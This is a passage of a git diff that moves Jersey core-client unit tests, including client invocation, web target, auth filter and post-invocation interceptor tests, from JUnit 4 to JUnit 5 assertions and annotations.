private Client client; private ExecutorService executor; - @Before + @BeforeEach public void setUp() throws Exception { client = ClientBuilder.newClient().register(TerminalClientRequestFilter.class); executor = new ScheduledThreadPoolExecutor(1, new ThreadFactoryBuilder() @@ -57,7 +57,7 @@ public void setUp() throws Exception { .build()); } - @After + @AfterEach public void tearDown() throws Exception { executor.shutdown(); client.close(); @@ -70,7 +70,6 @@ public void testNewClient() throws Exception { } @Test - @Ignore("TODO JAX-RS 2.1") public void testNewClientExecutor() throws Exception { testClient(ClientBuilder.newBuilder() .executorService(executor) @@ -88,41 +87,45 @@ public void testNotFoundResponse() throws Exception { testInvoker(invoker, 404, false); } - @Test(expected = NotFoundException.class) + @Test public void testNotFoundReadEntityViaClass() throws Throwable { - try { - client.target("http://jersey.java.net") - .request() - .header("Response-Status", 404) - .rx() - .get(String.class) - .toCompletableFuture() - .get(); - } catch (final Exception expected) { - // java.util.concurrent.ExecutionException - throw expected - // jakarta.ws.rs.NotFoundException - .getCause(); - } + Assertions.assertThrows(NotFoundException.class, () -> { + try { + client.target("http://jersey.java.net") + .request() + .header("Response-Status", 404) + .rx() + .get(String.class) + .toCompletableFuture() + .get(); + } catch (final Exception expected) { + // java.util.concurrent.ExecutionException + throw expected + // jakarta.ws.rs.NotFoundException + .getCause(); + } + }); } - @Test(expected = NotFoundException.class) + @Test public void testNotFoundReadEntityViaGenericType() throws Throwable { - try { - client.target("http://jersey.java.net") - .request() - .header("Response-Status", 404) - .rx() - .get(new GenericType() { - }) - .toCompletableFuture() - .get(); - } catch (final Exception expected) { - // java.util.concurrent.ExecutionException - throw expected - // jakarta.ws.rs.NotFoundException - .getCause(); - } + Assertions.assertThrows(NotFoundException.class, () -> { + try { + client.target("http://jersey.java.net") + .request() + .header("Response-Status", 404) + .rx() + .get(new GenericType() { + }) + .toCompletableFuture() + .get(); + } catch (final Exception expected) { + // java.util.concurrent.ExecutionException + throw expected + // jakarta.ws.rs.NotFoundException + .getCause(); + } + }); } @Test diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JerseyInvocationTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JerseyInvocationTest.java index de3531a019b..c8058c34227 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/JerseyInvocationTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/JerseyInvocationTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -43,14 +43,14 @@ import jakarta.ws.rs.core.Response; import org.hamcrest.CoreMatchers; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.anyOf; import static org.hamcrest.CoreMatchers.hasItem; import static org.hamcrest.CoreMatchers.is; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * @author Martin Matula @@ -271,10 +271,10 @@ public void failed(final Throwable throwable) { fail("future.get() should have failed."); } catch (final ExecutionException e) { final Throwable pe = e.getCause(); - assertTrue("Execution exception cause is not a ProcessingException: " + pe.toString(), - pe instanceof ProcessingException); + assertTrue(pe instanceof ProcessingException, + "Execution exception cause is not a ProcessingException: " + pe.toString()); final Throwable ioe = pe.getCause(); - assertTrue("Execution exception cause is not an IOException: " + ioe.toString(), ioe instanceof IOException); + assertTrue(ioe instanceof IOException, "Execution exception cause is not an IOException: " + ioe.toString()); } catch (final InterruptedException e) { throw new RuntimeException(e); } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JerseyWebTargetTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JerseyWebTargetTest.java index 152835d097e..ad162377ad9 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/JerseyWebTargetTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/JerseyWebTargetTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,11 +33,12 @@ import org.glassfish.jersey.uri.internal.JerseyUriBuilder; -import org.junit.Before; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.fail; /** * {@code JerseyWebTarget} implementation unit tests. @@ -48,7 +49,7 @@ public class JerseyWebTargetTest { private JerseyClient client; private JerseyWebTarget target; - @Before + @BeforeEach public void setUp() { this.client = (JerseyClient) ClientBuilder.newClient(); this.target = client.target("/"); @@ -377,46 +378,58 @@ public void testReplaceMatrixParam() { assertEquals("/path1;matrix11=segment11/path2/path3;matrix30=segment30/path4", uri.toString()); } - @Test(expected = NullPointerException.class) + @Test public void testQueryParamNull() { - WebTarget wt = target; + assertThrows(NullPointerException.class, () -> { + WebTarget wt = target; - wt.queryParam(null); + wt.queryParam(null); + }); } - @Test(expected = NullPointerException.class) + @Test public void testPathNull() { - WebTarget wt = target; + assertThrows(NullPointerException.class, () -> { + WebTarget wt = target; - wt.path(null); + wt.path(null); + }); } - @Test(expected = NullPointerException.class) + @Test public void testResolveTemplateNull1() { - WebTarget wt = target; + assertThrows(NullPointerException.class, () -> { + WebTarget wt = target; - wt.resolveTemplate(null, "", true); + wt.resolveTemplate(null, "", true); + }); } - @Test(expected = NullPointerException.class) + @Test public void testResolveTemplateNull2() { - WebTarget wt = target; + assertThrows(NullPointerException.class, () -> { + WebTarget wt = target; - wt.resolveTemplate("name", null, true); + wt.resolveTemplate("name", null, true); + }); } - @Test(expected = NullPointerException.class) + @Test public void testResolveTemplateFromEncodedNull1() { - WebTarget wt = target; + assertThrows(NullPointerException.class, () -> { + WebTarget wt = target; - wt.resolveTemplateFromEncoded(null, ""); + wt.resolveTemplateFromEncoded(null, ""); + }); } - @Test(expected = NullPointerException.class) + @Test public void testResolveTemplateFromEncodedNull2() { - WebTarget wt = target; + assertThrows(NullPointerException.class, () -> { + WebTarget wt = target; - wt.resolveTemplateFromEncoded("name", null); + wt.resolveTemplateFromEncoded("name", null); + }); } @Test diff --git a/core-client/src/test/java/org/glassfish/jersey/client/LinkTest.java b/core-client/src/test/java/org/glassfish/jersey/client/LinkTest.java index e7d40267411..baa10df838d 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/LinkTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/LinkTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,10 +20,10 @@ import jakarta.ws.rs.client.Entity; import jakarta.ws.rs.core.Link; -import org.junit.Before; -import org.junit.Test; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * LinkTest class. @@ -37,7 +37,7 @@ public class LinkTest { public LinkTest() { } - @Before + @BeforeEach public void setUp() { this.client = (JerseyClient) ClientBuilder.newClient(); } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ShutdownHookLeakTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ShutdownHookLeakTest.java index d18f7e9284b..6cd23605a56 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/ShutdownHookLeakTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/ShutdownHookLeakTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,10 +24,10 @@ import jakarta.ws.rs.client.ClientBuilder; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.number.OrderingComparison.lessThan; -import static org.junit.Assert.assertThat; /** * Reproducer for JERSEY-2786. diff --git a/core-client/src/test/java/org/glassfish/jersey/client/WebTargetPropertiesTest.java b/core-client/src/test/java/org/glassfish/jersey/client/WebTargetPropertiesTest.java index b3e9c9a3a91..abc7d1a70c7 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/WebTargetPropertiesTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/WebTargetPropertiesTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,9 +20,9 @@ import jakarta.ws.rs.client.ClientBuilder; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author pavel.bucek@oracle.com diff --git a/core-client/src/test/java/org/glassfish/jersey/client/authentication/HttpDigestAuthFilterTest.java b/core-client/src/test/java/org/glassfish/jersey/client/authentication/HttpDigestAuthFilterTest.java index 284e87cf683..b7a80b649b2 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/authentication/HttpDigestAuthFilterTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/authentication/HttpDigestAuthFilterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,8 +22,8 @@ import org.glassfish.jersey.client.authentication.DigestAuthenticator.DigestScheme; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; /** * @author Raphael Jolivet (raphael.jolivet at gmail.com) @@ -42,7 +42,7 @@ public void testParseHeaders1() throws Exception { // no digest scheme "basic toto=\"tutu\"" })); - Assert.assertNull(ds); + Assertions.assertNull(ds); } @Test @@ -55,9 +55,9 @@ public void testParseHeaders2() throws Exception { // Two concurrent schemes "Digest realm=\"tata\"", "basic toto=\"tutu\"" })); - Assert.assertNotNull(ds); + Assertions.assertNotNull(ds); - Assert.assertEquals("tata", ds.getRealm()); + Assertions.assertEquals("tata", ds.getRealm()); } @Test @@ -70,9 +70,9 @@ public void testParseHeaders3() throws Exception { // Complex case, with comma i "digest realm=\"tata\",nonce=\"foo, bar\"" })); - Assert.assertNotNull(ds); - Assert.assertEquals("tata", ds.getRealm()); - Assert.assertEquals("foo, bar", ds.getNonce()); + Assertions.assertNotNull(ds); + Assertions.assertEquals("tata", ds.getRealm()); + Assertions.assertEquals("foo, bar", ds.getNonce()); } @Test @@ -85,10 +85,10 @@ public void testParseHeaders4() throws Exception { // Spaces " digest realm = \"tata\" , opaque=\"bar\" ,nonce=\"foo, bar\"" })); - Assert.assertNotNull(ds); - Assert.assertEquals("tata", ds.getRealm()); - Assert.assertEquals("foo, bar", ds.getNonce()); - Assert.assertEquals("bar", ds.getOpaque()); + Assertions.assertNotNull(ds); + Assertions.assertEquals("tata", ds.getRealm()); + Assertions.assertEquals("foo, bar", ds.getNonce()); + Assertions.assertEquals("bar", ds.getOpaque()); } @Test @@ -101,10 +101,10 @@ public void testParseHeaders5() throws Exception { // Mix of quotes and non-quo " digest realm = \"tata\" , opaque =bar ,nonce=\"foo, bar\", algorithm=md5" })); - Assert.assertNotNull(ds); - Assert.assertEquals("tata", ds.getRealm()); - Assert.assertEquals("foo, bar", ds.getNonce()); - Assert.assertEquals("bar", ds.getOpaque()); - Assert.assertEquals("MD5", ds.getAlgorithm().name()); + Assertions.assertNotNull(ds); + Assertions.assertEquals("tata", ds.getRealm()); + Assertions.assertEquals("foo, bar", ds.getNonce()); + Assertions.assertEquals("bar", ds.getOpaque()); + Assertions.assertEquals("MD5", ds.getAlgorithm().name()); } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java b/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java index 344879aedfb..3900e5d274f 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/filter/ClientProviderInstanceInjectionTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -31,8 +31,8 @@ import org.glassfish.jersey.internal.inject.AbstractBinder; import org.glassfish.jersey.internal.inject.InjectionManager; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Tests injections into provider instances. diff --git a/core-client/src/test/java/org/glassfish/jersey/client/filter/CsrfProtectionFilterTest.java b/core-client/src/test/java/org/glassfish/jersey/client/filter/CsrfProtectionFilterTest.java index 579f3f3ca31..b4b830f6649 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/filter/CsrfProtectionFilterTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/filter/CsrfProtectionFilterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -34,10 +34,10 @@ import org.glassfish.jersey.client.spi.Connector; import org.glassfish.jersey.client.spi.ConnectorProvider; -import org.junit.Before; -import org.junit.Test; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNull; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; /** * Cross-site request forgery client filter test. @@ -47,7 +47,7 @@ public class CsrfProtectionFilterTest { private Invocation.Builder invBuilder; - @Before + @BeforeEach public void setUp() { Client client = ClientBuilder.newClient(new ClientConfig(CsrfProtectionFilter.class) .connectorProvider(new TestConnector())); diff --git a/core-client/src/test/java/org/glassfish/jersey/client/filter/EncodingFilterTest.java b/core-client/src/test/java/org/glassfish/jersey/client/filter/EncodingFilterTest.java index 6187afa7b0a..23b737d125b 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/filter/EncodingFilterTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/filter/EncodingFilterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -42,12 +42,11 @@ import org.glassfish.jersey.message.DeflateEncoder; import org.glassfish.jersey.message.GZipEncoder; -import org.junit.Ignore; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * Client-side content encoding filter unit tests. @@ -148,7 +147,7 @@ public ClientResponse apply(ClientRequest requestContext) throws ProcessingExcep response.readEntity(String.class); fail("Exception caused by invalid gzip stream expected."); } catch (ProcessingException ex) { - assertTrue("Response input stream not closed when exception is thrown.", responseStream.isClosed); + assertTrue(responseStream.isClosed, "Response input stream not closed when exception is thrown."); } } @@ -177,7 +176,7 @@ public ClientResponse apply(ClientRequest requestContext) throws ProcessingExcep client.target(UriBuilder.fromUri("/").build()).request().get(String.class); fail("Exception caused by invalid gzip stream expected."); } catch (ProcessingException ex) { - assertTrue("Response input stream not closed when exception is thrown.", responseStream.isClosed); + assertTrue(responseStream.isClosed, "Response input stream not closed when exception is thrown."); } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/filter/HttpBasicAuthFilterTest.java b/core-client/src/test/java/org/glassfish/jersey/client/filter/HttpBasicAuthFilterTest.java index 38857ecae91..a2a65b2c971 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/filter/HttpBasicAuthFilterTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/filter/HttpBasicAuthFilterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -37,8 +37,8 @@ import org.glassfish.jersey.client.spi.ConnectorProvider; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * HTTP Basic authentication filter test. diff --git a/core-client/src/test/java/org/glassfish/jersey/client/spi/CachingConnectorProviderTest.java b/core-client/src/test/java/org/glassfish/jersey/client/spi/CachingConnectorProviderTest.java index 459ae85aec2..92825867b87 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/spi/CachingConnectorProviderTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/spi/CachingConnectorProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -29,8 +29,8 @@ import org.glassfish.jersey.client.ClientRequest; import org.glassfish.jersey.client.ClientResponse; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Caching connector provider unit tests. diff --git a/core-client/src/test/java/org/glassfish/jersey/client/spi/ClientBuilderListenerTest.java b/core-client/src/test/java/org/glassfish/jersey/client/spi/ClientBuilderListenerTest.java index 010797564c8..b11eb3a0fa6 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/spi/ClientBuilderListenerTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/spi/ClientBuilderListenerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,8 +17,8 @@ package org.glassfish.jersey.client.spi; import org.glassfish.jersey.client.ClientConfig; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; import jakarta.annotation.Priority; import jakarta.ws.rs.Priorities; @@ -55,7 +55,7 @@ public void onNewBuilder(ClientBuilder builder) { @Test public void testClientBuilderListener() { Client client = ClientBuilder.newClient(); - Assert.assertEquals(70, client.getConfiguration().getProperty(PROPERTY_NAME)); + Assertions.assertEquals(70, client.getConfiguration().getProperty(PROPERTY_NAME)); } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/spi/InvocationBuilderListenerTest.java b/core-client/src/test/java/org/glassfish/jersey/client/spi/InvocationBuilderListenerTest.java index 44e03c94e3b..ef45853e03d 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/spi/InvocationBuilderListenerTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/spi/InvocationBuilderListenerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,9 +18,10 @@ import org.glassfish.jersey.internal.PropertiesDelegate; import org.hamcrest.Matchers; -import org.junit.Assert; -import org.junit.Before; -import org.junit.Test; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import jakarta.annotation.Priority; import jakarta.ws.rs.client.ClientBuilder; @@ -48,7 +49,7 @@ public class InvocationBuilderListenerTest { private WebTarget target; - @Before + @BeforeEach public void setUp() { target = ClientBuilder.newClient().target("http://localhost:8080").register(AbortRequestFilter.class) .register(new PropertySetterInvocationBuilderListener(a -> a.property(key(ONE), ONE))); @@ -80,7 +81,7 @@ public void testConfigurationProperties() { String value = "OTHER_VALUE"; try (Response r = target.property(key(ConfigurationInvocationBuilderListener.OTHER_PROPERTY), value) .register(ConfigurationInvocationBuilderListener.class).request().get()) { - Assert.assertTrue( + Assertions.assertTrue( r.readEntity(String.class).contains(key(ConfigurationInvocationBuilderListener.OTHER_PROPERTY) + "=" + value) ); } @@ -95,7 +96,7 @@ public void testGetters() { } private void assertDefault(Response response) { - Assert.assertEquals(key(ONE) + "=" + ONE, response.readEntity(String.class)); + Assertions.assertEquals(key(ONE) + "=" + ONE, response.readEntity(String.class)); } private static String key(String keySuffix) { @@ -161,10 +162,10 @@ public static class GetterInvocationBuilderListener implements InvocationBuilder public void onNewBuilder(InvocationBuilderContext context) { Date date = new Date(); RuntimeDelegate.HeaderDelegate localeDelegate = RuntimeDelegate.getInstance().createHeaderDelegate(Locale.class); - Assert.assertThat(context.getAccepted(), + MatcherAssert.assertThat(context.getAccepted(), Matchers.containsInAnyOrder(MediaType.APPLICATION_JSON, MediaType.APPLICATION_JSON_PATCH_JSON)); - Assert.assertThat(context.getEncodings(), Matchers.contains("GZIP")); - Assert.assertThat(context.getAcceptedLanguages(), + MatcherAssert.assertThat(context.getEncodings(), Matchers.contains("GZIP")); + MatcherAssert.assertThat(context.getAcceptedLanguages(), Matchers.containsInAnyOrder(localeDelegate.toString(Locale.GERMAN), localeDelegate.toString( new Locale.Builder().setLanguage("sr").setScript("Latn").setRegion("RS").build() @@ -172,24 +173,24 @@ public void onNewBuilder(InvocationBuilderContext context) { ) ); - Assert.assertThat(context.getHeader(HttpHeaders.CONTENT_ID), Matchers.contains(PROPERTY_NAME)); + MatcherAssert.assertThat(context.getHeader(HttpHeaders.CONTENT_ID), Matchers.contains(PROPERTY_NAME)); context.getHeaders().add(HttpHeaders.DATE, date); - Assert.assertThat(context.getHeader(HttpHeaders.DATE), Matchers.notNullValue()); - Assert.assertThat(context.getHeaders().getFirst(HttpHeaders.DATE), Matchers.is(date)); + MatcherAssert.assertThat(context.getHeader(HttpHeaders.DATE), Matchers.notNullValue()); + MatcherAssert.assertThat(context.getHeaders().getFirst(HttpHeaders.DATE), Matchers.is(date)); - Assert.assertNotNull(context.getUri()); - Assert.assertTrue(context.getUri().toASCIIString().startsWith("http://")); + Assertions.assertNotNull(context.getUri()); + Assertions.assertTrue(context.getUri().toASCIIString().startsWith("http://")); - Assert.assertThat(context.getPropertyNames(), Matchers.contains(PROPERTY_NAME)); - Assert.assertThat(context.getProperty(PROPERTY_NAME), Matchers.is(PROPERTY_NAME)); + MatcherAssert.assertThat(context.getPropertyNames(), Matchers.contains(PROPERTY_NAME)); + MatcherAssert.assertThat(context.getProperty(PROPERTY_NAME), Matchers.is(PROPERTY_NAME)); context.removeProperty(PROPERTY_NAME); - Assert.assertTrue(context.getPropertyNames().isEmpty()); + Assertions.assertTrue(context.getPropertyNames().isEmpty()); - Assert.assertThat(context.getCacheControls().get(0).toString(), + MatcherAssert.assertThat(context.getCacheControls().get(0).toString(), Matchers.is(CacheControl.valueOf(PROPERTY_NAME).toString()) ); - Assert.assertThat(context.getCookies().size(), Matchers.is(1)); - Assert.assertThat(context.getCookies().get("Cookie"), Matchers.notNullValue()); + MatcherAssert.assertThat(context.getCookies().size(), Matchers.is(1)); + MatcherAssert.assertThat(context.getCookies().get("Cookie"), Matchers.notNullValue()); } } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/spi/PostInvocationInterceptorTest.java b/core-client/src/test/java/org/glassfish/jersey/client/spi/PostInvocationInterceptorTest.java index 8195e6bea17..e69267d9d70 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/spi/PostInvocationInterceptorTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/spi/PostInvocationInterceptorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,9 +16,9 @@ package org.glassfish.jersey.client.spi; -import org.junit.Assert; -import org.junit.Before; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.ClientBuilder; @@ -44,7 +44,7 @@ public class PostInvocationInterceptorTest { private AtomicInteger counter; - @Before + @BeforeEach public void setup() { counter = new AtomicInteger(); } @@ -55,10 +55,10 @@ public void testSyncNoConnectionPostInvocationInterceptor() { .register(new CounterPostInvocationInterceptor((a, b) -> false, (a, b) -> true)) .build().target(URL).request(); try (Response r = builder.get()) { - Assert.fail(); + Assertions.fail(); } catch (ProcessingException pe) { - Assert.assertEquals(1000, counter.get()); - Assert.assertEquals(ConnectException.class, pe.getCause().getClass()); + Assertions.assertEquals(1000, counter.get()); + Assertions.assertEquals(ConnectException.class, pe.getCause().getClass()); } } @@ -74,8 +74,8 @@ public void testPreThrowsPostFixes() { })) .build().target(URL).request(); try (Response response = builder.get()) { - Assert.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); - Assert.assertEquals(1000, counter.get()); // counter.increment would be after ISE + Assertions.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); + Assertions.assertEquals(1000, counter.get()); // counter.increment would be after ISE } } @@ -91,8 +91,8 @@ public void testPreThrowsPostFixesAsync() throws ExecutionException, Interrupted })) .build().target(URL).request(); try (Response response = builder.async().get().get()) { - Assert.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); - Assert.assertEquals(1000, counter.get()); // counter.increment would be after ISE + Assertions.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); + Assertions.assertEquals(1000, counter.get()); // counter.increment would be after ISE } } @@ -111,8 +111,8 @@ public void testFilterThrowsPostFixesAsync() throws ExecutionException, Interrup try (Response response = builder.async() .get(new TestInvocationCallback(a -> a.getStatus() == Response.Status.ACCEPTED.getStatusCode(), a -> false)) .get()) { - Assert.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); - Assert.assertEquals(1000, counter.get()); // counter.increment would be after ISE + Assertions.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); + Assertions.assertEquals(1000, counter.get()); // counter.increment would be after ISE } } @@ -147,8 +147,8 @@ public void testPostThrowsFixesThrowsFixes() { 400) .build().target(URL).request(); try (Response response = builder.get()) { - Assert.assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); - Assert.assertEquals(2000, counter.get()); + Assertions.assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); + Assertions.assertEquals(2000, counter.get()); } } @@ -170,7 +170,7 @@ public void testMultipleResolvesThrows() { 200) .build().target(URL).request(); try (Response response = builder.get()) { - Assert.fail(); + Assertions.fail(); } catch (IllegalStateException pe) { // expected } @@ -189,9 +189,9 @@ public void testPostChangesStatusAndEntity() { (a, b) -> false)) .build().target(URL).request(); try (Response response = builder.get()) { - Assert.assertEquals(Response.Status.CONFLICT.getStatusCode(), response.getStatus()); - Assert.assertEquals(1, counter.get()); - Assert.assertEquals("HELLO", response.readEntity(String.class)); + Assertions.assertEquals(Response.Status.CONFLICT.getStatusCode(), response.getStatus()); + Assertions.assertEquals(1, counter.get()); + Assertions.assertEquals("HELLO", response.readEntity(String.class)); } } @@ -216,8 +216,8 @@ public void testPostOnExceptionWhenNoThrowableAndNoResponseContext() { 300) .build().target(URL).request(); try (Response response = builder.get()) { - Assert.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); - Assert.assertEquals(2000, counter.get()); + Assertions.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); + Assertions.assertEquals(2000, counter.get()); } } @@ -227,11 +227,11 @@ public void testAsyncNoConnectionPostInvocationInterceptor() throws InterruptedE .register(new CounterPostInvocationInterceptor((a, b) -> false, (a, b) -> true)) .build().target(URL).request(); try (Response r = builder.async().get(new TestInvocationCallback(a -> false, a -> true)).get()) { - Assert.fail(); + 